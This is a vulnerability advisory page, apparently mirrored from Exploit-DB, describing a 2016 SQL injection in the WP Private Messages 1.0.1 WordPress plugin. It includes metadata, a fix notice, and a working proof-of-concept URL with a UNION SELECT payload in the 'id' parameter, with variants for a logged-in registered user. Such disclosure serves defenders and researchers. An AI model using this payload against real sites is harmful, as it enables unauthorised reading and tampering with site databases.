WP Private Messages 1.0.1 – Plugin WordPress – Sql Injection

vendor:

WP Private Messages

by:

Lenon Leite

8,8

CVSS

HIGH

SQL Injection

CWE

Product Name: WP Private Messages

Affected Version From: 1.0.1

Affected Version To: 1.0.1

Patch Exists: Yes

Related CWE: N/A

CPE: a:wordpress:wp_private_messages:1.0.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu 14.04

2016

WP Private Messages 1.0.1 – Plugin WordPress – Sql Injection

WP Private Messages 1.0.1 is vulnerable to SQL Injection. The vulnerability exists due to the lack of proper sanitization of user-supplied input in the 'id' parameter of the 'wpu_private_messages.php' script. A remote attacker can send a specially crafted request to the vulnerable script and execute arbitrary SQL commands in application's database, potentially allowing the attacker to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, etc.

Mitigation:

The vendor has released an update to address this vulnerability. Users are advised to update to the latest version of the plugin.

Source

Exploit-DB raw data:

# Exploit Title:  WP Private Messages 1.0.1 – Plugin WordPress – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/wp-private-messages/
 
# Software Link: https://wordpress.org/plugins/wp-private-messages/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.0.1
# Tested on: Ubuntu 14.04

1 - Description:

Type user access: registered user.  
$_GET[‘id’] is not escaped. Url is accessible for every registered user.

http://lenonleite.com.br/en/blog/2016/12/16/wp-private-messages-1-0-1-plugin-wordpress-sql-injection/

2 - Proof of Concept:

1 – Login as regular user (created using wp-login.php?action=register):

2 -Using :

http://target/wp-admin/users.php?page=wp-private-messages%2Fwpu_private_messages.php&wpu=readid=0+UNION+SELECT+1,2,2,name,slug,6,7,8,9,10,11,12+FROM+wp_terms+WHERE++term_id%3D1&r=recieved

Obs: Use id number of your user in third column after word select. For example:

…UNION+SELECT+1,2,1,name,slug…

…UNION+SELECT+1,2,2,name,slug…

…UNION+SELECT+1,2,3,name,slug…

…UNION+SELECT+1,2,4,name,slug…

…UNION+SELECT+1,2,5,name,slug…

3 - Timeline:

    12/12/2016 – Discovered
    13/12/2016 – Vendor not finded